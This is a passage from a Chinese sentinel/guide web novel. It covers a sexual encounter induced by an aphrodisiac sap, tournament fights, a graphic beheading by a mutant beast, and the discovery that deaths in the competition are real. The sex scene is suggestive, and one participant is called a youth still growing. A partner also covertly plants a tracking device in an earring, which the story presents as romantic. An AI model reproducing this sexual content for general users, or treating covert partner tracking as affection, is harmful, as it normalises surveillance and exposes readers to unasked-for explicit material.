最后还是尚奕开了口:“黎珞言皮肤上沾了诱导发情的汁液,需要在两小时之内接受疏导。但他的精神图景被你的气息侵占了,我没办法给他做疏导。” “但现在已经过了两小时了, 我不知道简单的做疏导还有没有用……” 黎珞言无意识地抱紧了他,额前凝起滚烫的热汗,大颗大颗地往下落,把易谌的肩膀都浸湿了一小块。 易谌不由拧了下眉,单手搂住黎珞言,用衣袖轻轻擦拭了下他脸上的汗,刚擦干净,又沁出了新的汗水,易谌用手背摸了摸他的脸,体温烫得惊人,下一秒就被他咬住了虎口。 黎珞言没使劲咬他,眼睛还紧闭着,没清醒过来,只是在嗅到了熟悉的味道时,潜意识驱使着他做出的本能反应。 解决了那几只异兽过后,黑蛇缩小成手腕大小的体型,蜷在了黎珞言颈窝处,伸出蛇信子舔舐着那一片绯红的皮肤,起到一点聊胜于无的降温作用。黎珞言无意识地耸了下肩,把易谌抱得更紧了。 “那你们先走吧,我给他做疏导。”易谌嗓音冷淡,说这话时甚至没有抬头,只专心看着黎珞言。 黎珞言牙齿咬着他的手,他丝毫没有反应,没有抽回去,反而任由他咬。 岑洺有些不想走,磨了磨牙,眼睛也盯着黎珞言看,但被尚奕生拉硬拽给赶走了。 这片空地转瞬之间只剩下他们二人。 黎珞言一口坚硬的小白牙咬着易谌的虎口,被易谌提溜着后颈吻了吻唇角后,很快松了口,侧头去亲他,虎口只留下了一点很快就能消去的浅红印记。 易谌看着黎珞言完全没有好转的状态,即便睁开了眼睛,眸里还是一片朦胧的雾气,面上散发着潮红的热气。 他心想,简单的疏导是解决不了了。 易谌路上杀异兽的时候,那异兽尸体爆开时意外掉落了宝箱,里面装着的是驱散异兽的药粉,没想到现在还能派上用场。 四周蠢蠢欲动的低阶异兽在闻到药粉的味道时都跑得远远的了,没有不识趣的生物来打断他们。 易谌闭了闭眼,仿佛看不见就可以当作什么也没做,一鼓作气含了进去。唇角被撑的有些裂开的疼,易谌拧了下眉,又努力往前进了进。 虽然知道直播会自动切断,但心里还是忍不住泛起一种怪异的羞耻感。心脏似乎也由于这种紧张刺激而剧烈跳动着。 如果他此刻往上看一眼,就会发现黎珞言正歪着头,垂眸看着他,手轻轻地抓着他后脑勺的头发。 “易谌。”黎珞言嗓音被情欲侵染了个透,他攥紧了易谌的头发,攥得他头皮一疼,不得已松开了口。 易谌被迫使着抬起头仰看着他,冰冷的面具被彻底打碎,嘴角还泛着不正常的红,双唇微微张开,就像是有些合不拢了一样。 黎珞言绿色的眼睛湿漉漉的,语气和强硬动作全然不同,浸着点难受的软意:“易谌,让我进去,好不好?” 被这样看着,易谌根本无法拒绝他的任何请求,他沙哑着嗓音说:“……好。” 他往后退了一步,后背突然撞上了树干,被黎珞言按着肩膀转了过去。 黎珞言的脑子被烧得有点迷糊了,凑近他,脸贴着易谌的侧脸,是一个类似于挟制的姿势,充满了强势的意味,但他自己都没有意识到,只是一个劲地想要靠近凉爽的源头,慢吞吞地吐字:“你怎么这么凉快。” 他贴着易谌,就好像贴着一块时时刻刻散发着沁人心脾的凉意的移动冰块,让他很是舒服,忍不住再挨得紧一些。 易谌被黎珞言和树干挤在中间,偏着头不让自己的脸和粗糙的树皮摩擦,颇有些进退两难了。 他能感觉到黎珞言此时的体温很高,心里实在担心黎珞言中了诱导素的身体,想着最好速战速决。 手上碰了碰方才咬的那处,嗓音沙哑冷淡,行为却与之全然相反,显露着大胆的直白。 毫无心理负担地哄骗他:“进来也会很凉快。” …… 两人的衣服基本都好好穿在身上,只是在消除变异树汁液的负面作用的时候有少许的接触。 没能成功速战速决,经过了不知道多久,终于结束了。 在过程中黎珞言就慢慢地清醒了过来,他知道他们现在是在污染区内部,不方便清理,因此很有分寸地点到为止。 黎珞言嘴巴抿着,慢悠悠吐出一口气,一边整理着自己的着装,一边小声嘟囔着什么。 他出了一身汗,发丝上还残余着点那棵树的深绿色汁液,让他感觉有点不舒服。 易谌倚着树干,也被折腾出了一身汗,闻言挑了下眉,脸颊还染着潮气,冷峻眉眼间流露出几分餍足:“涉进来也没事。” “不要,”黎珞言摇摇头,“流出来了怎么办。” 易谌亲了亲他的下颌,嗓音嘶哑,轻笑了一声:“我夹紧点就不会了。” 黎珞言把他抵在树干上,伸手扼住了他的脖颈,虎口卡在因轻笑而震动着的喉结上,他的手指轻轻挠了挠易谌喉结旁边的那颗黑痣。他耳根有点热,小声道:“你别说了,那么多肯定会流出来的。” 为了不让易谌又说出什么话来,他松开手后,又开口说:“我想洗一下头发。” 当时汁液是从头往下淋的,所以打了他和岑洺两人一个措不及防。现在头发上还沾着那绿色液体,让人想起来就觉得那东西破坏形象。 易谌之所以倚着树,是因为他还有点站不稳,一直站着被*还是有点超过了。为了维持游刃有余的形象,才保持着这个倚树的姿势。 他还想说些什么拖延时间,却仿佛被黎珞言看穿了意图。 黎珞言像是才想起来一样,恰到好处地抢在他准备开口的前一秒,慢吞吞地问他:“对了,你这次怎么又这么快找到我了?” 易谌:…… 他舔了下唇,神态自若:“就是我们的默契。——走吧,去洗下头发,我们可以去找找附近有没有水源。” 黎珞言抿唇似乎笑了一下:“好啊。” * “队长,队长?” 常西嘻嘻哈哈地伸手在天一面前挥了挥。 天一斜睨他一眼,脸被绷带缠了大半,露出一双写满烦躁的眼睛,明显不想被常西打扰。 常西和天一是几分钟前碰面的。 常西看到天一时,正好撞见他这位好战的队长就像是被谁追着似的落荒而逃,他就像一点眼色也看不懂似的,迎面走过去和天一挥手打招呼。 天一不耐烦地看他一眼,最后还是和他同行了。不过他仔细地看了天一的脸……好吧,实在看不出什么。明明上次已经露出真容了,干嘛还把脸缠成这样啊,明明也没有毁容。 他看不清天一脸上的神情,干脆放弃了观察,只不过眼睛往天一方才跑过来的方向多瞅了两眼。这是发生什么了? 天一一路上都紧皱着眉。他放出蚂蝗一方面是想试试宝箱里东西的杀伤力,另一方面也是为了报复黎珞言。 放出之后他也没有走得太远,饶有兴趣地看着自己的杰作,虽然听不见声音,但能看到个大概,把那几人搞得焦头烂额让他心情十分愉悦。 然而在那黑发向导出现之后就不对劲了,他看着自己的杰作被这人毁了。那几人嘀嘀咕咕不知道说了些什么之后,就只剩下黎珞言和那向导两人。 天一皱着眉,不太爽地站在那儿,没动。然而下一秒就看见了让他非常震惊的一幕,怎么……怎么亲上去了?? 天一的脑子里从来就是战斗战斗战斗,全然没见过别人亲密,乍然看见这一幕,脑子轰的一声变得空白了。他担心再看下去,会看到更加令他震惊的画面,因此急匆匆地逃了。 然而即便是迅速跑了,他脑子里还在回放刚才的那一幕。 ——黎珞言双手紧紧搂着面前的黑发向导,一只腿挤进对方腿间,偏头吻住对方的唇,看起来动作很凶,带着平日少见的强势。 …… “我现在都不知道污染区的水干不干净了,”黎珞言想到自己一路上碰到的那么多异兽就撇撇嘴,“会不会我刚把头放进水里,就突然从底下冒出来一只鳄鱼?” “那我在旁边给你放风。”易谌道,“有鳄鱼的话,就把你提起来。” 黎珞言故意伸手摸摸他的头,看他一愣,便骤然弯起双眼,拖长语调:“你怎么这么好啊。” 他放下手后,手又垂在身侧,被蚂蝗咬过的右手被简单的包扎了一下,包扎的原材料来自于衣服布料。 黎珞言庆幸自己穿了件外套,让厄斯把那件外套硬生生撕下了一小块布料后,随意把右手掌心包了包。 黑色的护腕往上是残缺的外套布料,再往上是白皙修长的手指,被暗色一衬,显得很是突出。 他们并肩走着,易谌的脚步突然顿了一下,黎珞言便下意识地也跟着停住,抬眸向前看去。 迎面走来的是明显是不知道在想什么的天一和乐天派的常西。 “黎队!” 常西回去就恶补了论坛知识,沿用了论坛的新兴称呼,离得老远就眉开眼笑地朝黎珞言猛烈挥起了手。 第 75 章 兄弟你好香。 冤家路窄, 来者不善。 这是易谌看到对面的人时,脑子里冒出来的第一个想法。 上一次就和他们队打过了一次,这一回再次碰见只能说是仇人见面分外眼红了。 但易谌现在处于debuff状态。一是精神体一口气吞吃了四只蚂蝗变异体, 哪怕他是s级向导也不可能立马恢复过来, 二是刚刚还和黎珞言在那边进行了激烈的运动……这时候硬要和面前这两个哨兵打起来, 还真说不准胜负。 易谌的眸光谨慎起来。 天一的视线扫过黎珞言被简单包扎过的右手,本应该有种大仇得报的快.感,然而他现在一看见黎珞言,就想起方才目睹的黎珞言抵着易谌接吻的画面,虽然算不上限制级,但也—— 绝对有往限制级的方向做吧! 只是他没看见而已。他是非常坚定的极端保守派,因此这块知识真的涉及到了他的知识盲区, 但他看见黎珞言时, 又控制不住脑子里的想法,看着那黑发绿眸的哨兵的眼神都染上了几分古怪。 怎么就这么……这么……在联赛期间就忍不住了吗?不知、羞耻。 他不知道前因后果, 于是一个人暗暗脑补出了一大串。 黎珞言被他的眼神看得莫名其妙,他舌尖抵了抵牙,想了想,有点凶地瞪了回去。看着他干嘛, 要打架吗? 常西却像看不懂剑拔弩张的氛围一样, 游离在这几人之外, 一头卷毛随着他的动作一颤一颤地跳, 他有些激动地说:“黎队你上次抹我脖子那一下特别帅!我回去看了好几遍回放,动作简直干净利落, 漂亮极了!” 他眼尾无辜地下垂,看起来纯真又单纯,热情得好像有只看不见的尾巴在摇, 有些惋惜地叹一口气:“我模仿了好久还是感觉没有模仿到精髓……” “模仿?”天一嗤笑一声,不无敌意地看着黎珞言,话却是在对常西说,“好啊,学会之后也能报复回去了。” “什么报复!”常西忙不迭反驳,他挠了挠头,简直就是把小迷弟形象表现得淋漓尽致,“我对黎队的崇敬之心天地可鉴,童叟无欺,怎么可能是为了报复?!” “黎队?” 天一这才注意到他的称呼,他突然发现自己队里好像真出了半个叛徒,感觉下一秒就会跟着其他队伍屁颠颠地跑,“你喊谁队长呢?” 常西又喊了一声,呛他:“我就要这样喊黎队,怎么了?” 黎珞言还是想洗头,他头发上还淋着点深绿色汁液,让他感觉有点不自在。然而他拉着易谌,想从面前这两人边上绕过去的时候,却被一条伸出的腿挡了下路。 他抬起眸,看向腿的主人。 常西弯着一双下垂眼,笑吟吟道:“不能走哦。我希望和黎队能够和我们一路待在一起。” 他从腰间掏出了一把枪,朝着黎珞言歪了下头,枪口正正对准了面前的人,手很稳。 这次意外碰面看来是不能和平收场了。 黎珞言抿了下嘴,也想要多开几个宝箱了,也不至于现在连个能拿在手上的武器都没有。 易谌也没有开到有武器的宝箱,准确来说,他从进了联赛的那一刻起,第一时间给自己定下的目标就是找到黎珞言。 当初在观星台上,黎珞言给他钉在胸口上的那枚耳钉被他取了下来,他能通过这枚耳钉知道黎珞言的大致方位。——这是在这一对耳钉被黎珞言主张一人戴一个的时候,易谌为了以防万一做的手脚。 他不太能忍受和黎珞言分开,嗅不到对方的味道,那种分离的痛便细细蔓延了开,就好像有一万只蚂蚁在啃噬他的心脏,让全身上下的每一个细胞都叫嚣着要他立即拥抱对方的体温。 不过好在那对耳钉的确派上了用场,让他成功找到了黎珞言。除了耳钉之外,他还设置了别的,能让他找到黎珞言的小物件。 他的目标从头到尾都很一致,只是为了找到黎珞言。因此除了意外在他面前爆开的异兽尸体里藏着的那个宝箱之外,他就完全没有浪费时间去寻找别的了。 易谌的视线忽然往下瞥了瞬,扫过哨兵被得体衣服覆盖的胸口。——不会有人知道,那里缀着一枚碧绿的耳钉,将粉色都坠成了漂亮的艳红。 ……只有他知道。 一时间精神体都被放了出来,偌大的空间也显出几分拥挤来,气氛变得有些焦灼。 易谌按了按额角,说实话还没完全从吞噬四只蚂蝗变异体的难受中缓过来。那玩意儿等级不低,他除了出场那里在黎珞言面前耍了下帅外,后面的连锁反应就实在有些磨人了。 黎珞言没有第一时间发现他的状态不对劲,但当常西朝着他们扣动扳机时,一道汹涌的水柱从他们之间贯穿。 黎珞言这才发现易谌的反应有些不正常的迟钝,伸手把易谌往旁边使劲一推,那道水柱没能攻击到人,从他们两人之间的空隙穿过,射穿了身后的树木,在古老的树干上留下了一个水柱直径大小的洞。 洞的周围冒着少许白烟,可以想象被贯穿的那个洞温度有多高。 好消息:是水枪。 坏消息:不是一般的水枪。 “还挺好用。”常西笑起来,低头看看自己在宝箱里开出来的东西。就是可惜这枪里的水用完了就没有了,是消耗类武器。 黎珞言看向易谌,有些担忧地低声说:“你怎么了?” “没事。”易谌摇摇头,除了脸色有些发白之外看不出什么异常。 黎珞言抿着唇:“你怎么对我还撒谎。” 他回想了下,湿漉漉的绿色眼睛看着易谌:“是我弄得你疼了吗?” 易谌勾了下嘴角,眉眼间染上几分笑意,声音轻轻的,像羽毛搔过耳朵:“我爽还来不及呢,疼什么?” 黎珞言不受影响,专注正事,认真问道:“那是为什么?……是因为那几只异兽?” 他猜中了正确答案,易谌却不太想承认。他觉得承认下来显得他有点弱鸡了,但黎珞言现在已经很了解他了,更别提他们进行过深度疏导之后,可以感受到对方一部分的情绪起伏。 因此即便看着易谌几乎没什么变化的表情,他也立马知晓了答案,肯定地说:“果然就是这样。” “我给你打掩护,你先走。”黎珞言斩钉截铁地说。 易谌下意识道:“我怎么可能让你一个人?” 他不可能一个人就走了,然后留黎珞言在这儿战斗。 “那你去多开几个宝箱,再回来救我,好不好?” 黎珞言弯了下眼,“还可以增加我们的胜算。” “不可能!”易谌一边应对对方的攻势,一边又淡声重复了一遍。 “我保证我不会受伤的。”黎珞言在繁琐杂乱的攻击中,抽空用小指勾了勾易谌的小指,是个拉钩的动作。 常西和天一都开到了武器,赤手空拳对上他们讨不了好。 黎珞言又开口:“如果路上碰到救兵的话,也可以搬来救兵……也是很重要的事。” 他用那双绿宝石一样的眸子望着易谌,唇角弯弯,用他那带着特别意味的咬字慢吞吞地说:“你是不是不想离开我啊……怎么这么黏糊啊易谌。” 被他这句搞的,易谌耳根染上薄红。 被黎珞言在耳边连连说了几句他暂且离开一会儿、能给他们带来的优势,又被这样一张脸看着,易谌很不争气地被说服了,想着要迅速开几个宝箱再回来找他。 ——反正无论黎珞言去了哪里,他都能找到他。 “你保护好自己。”易谌趁乱离开前,也学着黎珞言方才的动作,用小指勾了勾他的,拉钩上吊。 天一想追上去,却被骤然挡在他面前的金毛巨狮挡住了前路。他看向精神体的主人黎珞言。 黎珞言也正看着他,左手随意比了个枪的手势,唇角平直,没什么表情。 …… 三人打得极其激烈,局势看不出个胜负,黎珞言虽然无法凭一己之力制住两人,但也不会被轻易制住,因此刚好形成了一个平衡的局势。 地上散落着些被撕咬落下去的大片金色毛发,其中还夹杂着一些米白色的兔子毛发,都黏在了地上淅淅沥沥的血迹上。 可惜章鱼不掉毛,看不出受了什么程度的伤。 厄斯低吼了一声,战意十足地又和其他两人的精神体缠斗在了一起。 即便掉了不少毛也不减凶猛,后背的毛沾上了点暗红色的血迹,不知道是自己的还是其他精神体的。 一个不注意,常西又近了他的身。黎珞言顶膝往他小腹上撞,趁他一瞬间的眩晕时,顺手按住他,手不经意间盖在他的脸上。 下一秒天一又过来了,黎珞言不得已松了手,放开了常西,身子一转迅速躲开天一的攻击。 常西愣在原地,深深耸了耸鼻子,发自内心讶异:“……我操,你怎么这么香?” 他忍不住伸手碰了碰方才被黎珞言碰过的地方,神色有些恍惚,就像被魇了一下似的。 他的声音没有压低,另外两个五感强化的哨兵完全听见了。 天一再次受到了震撼,同样发自内心地皱了眉,真心诚意道:“?有病?” 黎珞言脑袋上也快要冒出实体型的问号了,抬手闻了闻自己,肯定地对自己点了点头,没味道啊。 他眼睛转了下,忽然瞥到常西后颈沾上的一点绿色,思索几秒种,恍然大悟,是含有诱导素的树的汁液被他沾到常西后颈了。 常西看黎珞言的眼睛都快冒星星了,天一看得恶寒。 黎珞言想着怎么从混乱的战局中溜走。 正想着,远方就飞来一只皮毛雪白的鹰,低飞着朝他驶来。 黎珞言眼睛一亮,在白鹰距离他只有一米时,眼疾手快一个翻身骑了上去。 那白鹰移速很快,在接到黎珞言后,又极快地高飞了起来,竟然在天一和常西两人眼皮子底下就把人劫走了。 常西枪口对准了那鹰,却因为这白鹰飞得太高,无法击中。 …… 白鹰逐渐下降,黎珞言降落之后,果不其然看到了尹惟。——白鹰是她的精神体。 “好巧。”黎珞言道。 “不巧,”尹惟把玩着手上的一枚碧绿耳钉,看着其上亮起来的绿光指着的方位,正好对准了黎珞言的方向。她若有所思的模样,漫不经心地回着黎珞言的话,“我碰巧遇见易谌,他告诉我你在这儿。” “口头描述吗?”黎珞言没注意她的手,问道。 “我说的是,它,告诉我你在这儿。”尹惟低头,下巴朝自己手上的单枚碧绿耳钉努了努。 把手伸出了点,让黎珞言也能看见她手上拿了什么。 第 76 章 “你们,经过我同意了吗…… 黎珞言舌尖抵了抵唇角, 迎着尹惟好奇的眼神,面不改色地从她手心里拿走了那枚耳钉。 同时心里又有点小委屈地想,易谌怎么没有戴着?他都一直戴着的。 尹惟没有在黎珞言的耳朵上看见另一枚耳钉, 她挑了下眉, 夹杂着几缕雾霾蓝挑染的高马尾随意摇晃了下, 问道:“这是和你配对的吗?” 她只是没看到黎珞言的那枚戴在哪里,于是随口明知故问了一下,但没想到黎珞言抿了抿唇,似乎这是一个很难回答的问题一样。 黎珞言过了一会儿才“嗯”了一声。 尹惟看他的样子不像是不知道耳钉里有定位装置,这时候支支吾吾的反而像是因为别的,耳根还染上一抹薄红。 她没有细问下去,想到这两人一个安定位装置, 一个明显是默许的意思, 达成了一种微妙的和谐。 另起了一个话题:“我最近又购入一款新型飞行器,出去之后你要不要试试?” 黎珞言想起自己借用她另一个新款飞行器的时候, 看着上面乱七八糟的按键简直是一头雾水,幸好顺利起步、也算是顺利地载着自己和易谌在黑市和家里之间经历了个来回。 他郑重地摇摇头:“太新了,我不会用。” 尹惟不服气:“你又没用过。” 黎珞言虽说拿到了驾驶证,但几乎没开过飞行器, 更别说使用她库里的飞行器了。 “我不久前才用过。” 尹惟眨了下眼, 没想到黎珞言还真用过, 她的终端能收到自己的飞行器库被打开的消息, 但她下意识地以为是奚元或者她哥开走的,所以居然梨子还会主动开吗?况且—— “你不是被执政官带回去了吗?” 黎珞言摸了摸鼻尖, 一笔带过:“我后来跑出去了嘛。” 脑子里自然而然回想起那晚的记忆,月光很暗,但是易谌从窗外翻进来的那一刻, 却像是被聚光灯骤然照亮了一样,向来漆黑得透不进一丁点光的眸子在那时像是洒了点碎光进去,专注地望着他…… “梨子?梨子。”尹惟把手在他面前晃了晃,黎珞言回过神来。 尹惟看着他被衣服布料缠裹住的右手,眉头微拧,表情有些严肃:“你手怎么了?” “被蚂蝗变异体吸了一口,不碍事。”黎珞言把手背至了身后,转而问道,“你刚才在哪里碰见易谌的?我们现在去找他好不好?” 尹惟没有回答他,而是表情冷肃地说:“先让我看看你的手。” 黎珞言手上缠着的外套布料被一圈圈取下,手被血浸泡得有些发白,整个掌心都被血糊住了,看起来格外吓人。 尹惟眉头皱起,扯最后一点粘在肉上的布料时一鼓作气生拽了下来。 黎珞言忍不住“嘶”了一声,五指都下意识蜷了起来,慢吞吞地说:“你就不能轻点吗?” 尹惟宽慰他:“长痛不如短痛。” 用清水冲洗了下之后,手的原貌就出来了,黎珞言掌心偏下的位置明显被蚂蝗咬出了个小孔,没再往外面冒血了,但看着就疼。 “先别裹着了,让伤口透透气,得找药粉处理一下。” 黎珞言乖巧点头。他方才拿水的时候才想起自己在岑洺那儿拿的饼干忘记给易谌了,兜里现在还有两袋。 他拿出一袋递给尹惟,看着她表情有些惊讶,撕开包装袋咔擦咔擦咬。 黎珞言问道:“我们现在去找易谌了吗?” 三句话不离易谌。 尹惟抬眸看了他一眼,眸里带着调侃的笑意,旋即她又低下头,继续认认真真、加快速度吃饼干,没两口就吃完了,回道:“我碰见他的时候他正在和别人抢宝箱,当时宝箱掉下来了,敞开着的,里面装的是疗伤的药品……所以我撞见他们的时候,他腾不出手,托我先来找你。” 她把最后一点碎渣完全倒进嘴里,朝黎珞言示意:“走吧,我带你去找他。不知道他抢赢了没。” * 当尹惟循着记忆带黎珞言去到之前看见易谌的那个位置时,只剩易谌一个人了。 易谌坐在地上,一只腿曲起,另一只腿平直放着,头埋在手臂里,很疲惫的模样。 黎珞言几步走上去,微微俯身,弯着眼睛摸了摸易谌头顶的黑发,易谌身体紧绷了下,但身体的潜意识却先他的视线一步认出了黎珞言,没有做出攻击的动作。 易谌抬起头,脸上还带着汗水,小臂上被划出几道血痕,却朝着黎珞言伸手摊开了掌心,嗓音淡淡的:“给你。” 他手里放着的是一小瓶疗伤的药粉。黎珞言的视线在他的手臂上流连了一会儿,一言不发地接过药瓶,往自己手上倒。 “你抢到了……一小瓶?”尹惟走近,看着精疲力竭还挂了彩的易谌,又看看那还没巴掌大的药瓶。 易谌刚想说话,就忽地感受到手臂覆上一阵凉意,粉末铺在伤痕上,和伤口发生反应又迅速升腾起火烧火燎般的烫,疼得他立马就闭上了嘴,死死绷住了表情,看起来完全像是高冷酷哥。 黎珞言动作迅速利落地把易谌手臂上一眼就能看见的伤全部撒上了药粉,板着脸问他:“还有哪里受伤了吗?” 他这样冷下脸来,俊俏挺立的五官立即显出几分威慑力,勾得易谌心里又升起了点别的想法,凑近去亲他,却被黎珞言躲开了。 黎珞言一脸严肃:“你还有哪里受伤了?” 易谌抓住了他的手,拉着他的手掌心向上,黎珞言虎口往下的一处血红小窟窿就露了出来。 “这里,”易谌的拇指轻轻按在他手上伤口的周围,抬眸望着他,“这里也受伤了。” 易谌一边给黎珞言手上被蚂蝗吸出来的那个血窟窿撒药粉,动作轻柔得不像话,一边淡声平静地回复尹惟的话:“宝箱被我藏在了草丛里,这是从他们手里抢过来的。” 当时那队人在混乱中抢了一瓶药粉,易谌不是会轻易让步的人,再者和那几人打得心情也有些糟了,冷着脸,拳脚十分厉害,硬是把那瓶又抢了回来。 后来那几人被他打退了,易谌把药瓶攥紧在了手里,坐在地上缓了会儿气,没想到黎珞言和尹惟刚好这时候过来。 尹惟挑了下眉:“厉害啊,1v3还能满载而归。” 看来当初易谌一个人放倒十个哨兵的实力真是不容小觑。 黎珞言始终看着易谌手臂上被动物爪子划出的伤痕,眼睫轻颤,让人不知道他在想什么。 * 三个哨兵勾肩搭背地走着。这都过去两天了,那天抢夺宝箱时脸上挂的伤还没好完全。 那向导不知道哪里学来的野路子招式,打人巨疼,精神体也阴得不行。 他们一边走一边痛骂着那个冷血无情的向导。 “我操了,一个向导跟只疯狗似的逮谁咬谁,我精神体差点被咬下一块肉!一点也不文雅。” 另一人弱弱纠正一句:“……老大,就算疯也是疯蛇。” “不用提醒我!”那人气汹汹地说,“我第一次见到比狗还狗的蛇!!乱咬什么啊!不就是想蹭个药瓶以防万一吗!一瓶都不给小气吧啦的!” 旁边又有一人小声纠正他:“……老大,那是因为那个宝箱本来就是人家找到的,咱们上去抢他才打咱的。” 老大被这连续拆台的俩人气得面红耳赤:“行了,都闭嘴!” “那我不就是要一小瓶吗?又不要多了……而且那个向导的攻击能力怎么这么强?身体素质和哨兵比也不逊色了吧。真是操了,倒霉透了,我还想着是不是个软柿子呢……” “你想挑软柿子捏啊。”耳畔突然出现了一道清亮的少年音。 老大猛地抬头,对上一双毫无杂质的绿色眼眸,很漂亮的眼睛,却几乎没什么温度,令被他看着的人心惊胆战。 面前的少年五官锋利俊挺,近一米九、还在发育中的身高极具压迫感,咬字有点慢,却在这种时候掷地有声,每一个字都砸在面前三人的心脏上,砸得人心慌慌。 “你们,经过我同意了吗?” 对面的三个哨兵明明不比他矮多少,甚至还有个比他高上几公分,却都被他充满攻击性的气势压得瑟缩了下,后背无端生出寒意。 黎珞言第一次毫无顾忌地放出了S+级别的感知力,等级差距迫使着他们情不自禁心颤,连双腿都隐隐有些发软无力。 即便被等级震慑了几秒钟,能参加联赛的人也都不是会轻易认输的性子。他们想着己方至少有三个人,打不过难道还跑不过吗? 于是一边和黎珞言周旋着,一边找机会趁机逃跑。 老大慷慨就义,义正言辞地说要掩护两个小弟离开,挡在黎珞言面前要拖住他一会儿。 两个小弟感动得泪如雨下、涕泗横流,当即就往反方向跑,跑得两腿倒腾得飞快,快出残影了。 突然耳侧擦过一道冷风,锋芒毕露、泛着寒光的刀削断了他们几根头发,然而速度仍旧很快,还未停下,直直插入了树干之中,大概深入了一半的尺寸。 两人的脚步默契地顿住,汗毛耸立。这把刀要是插进他们脑袋,能直接把脑袋砍成两半吧。 两人缓慢地回头,看见他们方才还口口声声保护他们离开的老大已经被那年轻哨兵轻松擒住了,隔着这样一段距离,也热泪盈眶地看着他们。 黑发绿眸的哨兵平静地看着他们,一字一句地说:“我说过你们可以走了吗?” 第 77 章 “梨子不见了。”…… 说完这句话后, 黑发绿眸的哨兵就不说话了,只一双没有温度的绿眼睛直勾勾看着他们。 那两人被盯得浑身一僵,又看到他们之间实力最强的老大已经沦为俘虏了, 立马乖乖地小步走回来。 老大还在热泪盈眶地大放厥词, 说着什么“宁死不屈”“威武不屈”“视死如归”云云的, 一抬眸就看到那俩人已经走到自己面前,一副低头任打的模样。一腔不屈的热血瞬间被浇灭了,恨铁不成钢地看着面前两人。 怎么这么没骨气地就回来了! 黎珞言的眼神也有些茫然,他刚刚按着尹惟教的那样放完狠话后,突然忘了接下来说什么了,正在绞尽脑汁地想,哎, 下一句台词是什么来着? 然后一抬头就看见这两人也像是被他打败了一样, 慢吞吞挪步到了他面前一副任由处置的模样。 可他还什么都没做啊…… 黎珞言眼睛眨了眨,但面上还是绷着一张冷峻严肃的脸。 尹惟还教了一句面对敌人一副不羁模样的时候可以冷酷地说上一句“不要嬉皮笑脸的”, 但看着垮着脸的三人,黎珞言觉得自己还是不要把这句也生搬硬套到这儿来了。 ——也太生硬了。 不过对方既然都投降了,抓住这三人比他预计得还要快上不少,中途还跳了不少打斗的步骤, 省了他不少力气。 他准备按照原计划把这三人淘汰出局。 突然变故横生, 不知道从哪儿窜出了一只巨大的异兽, 横冲直撞地朝他们的方向冲了过来, 像发了疯,眼睛通红冒着血丝。 黎珞言当即松了手, 给了他们充足的逃脱空间与机会,四人同时向四周闪开。黎珞言转身再看向那异兽时,却骤然睁大了眼睛, 瞳孔猛地缩小。 体型巨大的异兽留着涎水的嘴里含住了一个哨兵的头,那哨兵身体吊在空中摇晃,恐惧得还在大声呼救,几乎破音。 “老大!!” 黎珞言确实是想淘汰他们,但这种方式也太过残忍了,他看见这一幕后,还没沾地的脚就迅速朝异兽迈去。 然而异兽动作更快一步,它牙齿合拢,方才的呼救声在那一刻骤然停止,脖颈上瞬间留下整整齐齐的切口,鲜血喷涌而出。 方才还在悬空挣扎摇晃着的身体,像风筝一样轻飘飘落了下来。 黎珞言在原地怔愣了半秒,旁边的两人飞快地冲了过去,颤抖着手抱起死样凄惨的尸体。 他们不是没见过死亡,但第一次直面如此惨烈的死亡,温热的鲜血洒了满地,草尖上溅上了不少。异兽吞咽的动作没持续多久,就将整个脑袋咽了进去。 异兽突然朝黎珞言冲了过来,黎珞言迅速回过神躲开,告诉自己这只是一场联赛,在联赛中死亡并不是真正的死亡,腕表会将他传送回去。 他闭了闭眼,让自己冷静下来。 从小到大他听过的最多的一句话就是,他和正常人不一样,所以他以为他缺少了一些正常人都会有的情感,才会得到这样的评价。但不知为何,他现在心脏猛地跳动,是恐惧吗?还是害怕、担忧? 他看着抱着只剩三分之二的尸体哭得很厉害的两人,脑子轰的一声,耳朵一时被一阵刺耳的鸣叫声贯穿。 他这一刻居然觉得自己能够理解他们的感情,悲痛的情绪从不远处通过无处不在的空气传到了他的身上。他居然也在悲伤吗? 为什么?不是可以传送回医疗舱当中吗?为什么要哭? 如果……如果现在倒在地上的人是易谌,他也会像他们一样痛苦不堪地抱住尸体吗? 黎珞言心里汹涌着一股情绪,撞得他胸腔都在疼。 “你们有……枪吗?”他的嗓音到现在也很冷静,就像是完全没受这惨烈一幕的影响一样。 一人转过头来,眼睛通红,黎珞言只在感染者身上看见过那样的红,但他的情绪却比感染者稳定许多,不停抖着的手从身上找出了一个弹弓,声音颤抖着说:“这个可以吗?” 他泪流满面,声音沙哑,强行压抑着泣声:“求你了……求你,替我们为老大报仇。” …… 异兽死在了当场。那两个似乎是小弟的哨兵已经抹干了眼泪,向黎珞言真挚地道谢后,就开始掏异兽的喉咙。 应该是想找到老大的脑袋。 黎珞言在旁边看,插入一句:“你们为什么不直接开肠破肚呢?” 那两人得到启发,立马换了位置,把黎珞言先前扔到树干上的那把刀拔了出来,一边开肠破肚,一边说道:“污染区里这样的事经常发生,我们其实已经习惯了……” 真的习惯了吗? 黎珞言想,那为什么手还在抖,眼泪又在往下掉呢? 这不是联赛吗?腕表不是会让人完好无损地回去吗? 他回去之后找到易谌,易谌不知道他去干什么了,以为他只是去找宝箱,试试看能不能开出什么吃的。 刚碰面时黎珞言就给了他一袋压缩饼干,他没吃,悄悄保存了起来,准备等黎珞言饿的时候再递给他吃,毕竟他的未婚夫一向饿得很快。 然而这次黎珞言却十分能抗饿,一次也没有喊过饿,让易谌想要把饼干献出去的动作都被扼杀在了摇篮之中。 黎珞言坐下,垂着眸看着地面,慢吞吞地和他说了今天发生的事。 易谌迅速抓住了关键点:“他的尸体为什么没有消失?” 黎珞言被他这一句话一点拨,也瞬间意识到了这一点。按理说遭受到致命伤,腕表应该会立即将主人弹出比赛才对。 黎珞言和易谌同时看向自己的腕表。 “腕表不起作用了?”黎珞言下意识道。 怪不得,那两人当时哭成了那样…… 他反应迟钝,在当时没有反应过来的东西在此时才逐渐明悟。 他抬起头,正好和易谌对视了一眼,易谌表情有些严肃,他也意识到了事情的严重性。 腕表不起作用,代表着这场联赛的死亡是真正的死亡。参加联赛的多是还未毕业的在校生,在没有最后一道安全保障的情况下,实际上少有人会到污染区深处做任务。而现在…… 为了验证这种可怕的猜想是否正确,他们随机抓了一个落单的哨兵。让他主动按腕表的退出键出局。 然而退出键被按亮之后,无事发生。 这也就意味着猜想成真。 比赛已经进行到现在,这又是一场淘汰赛,不同队伍之间的厮杀数不胜数、司空见惯,因此意识到这点的远不止他们。 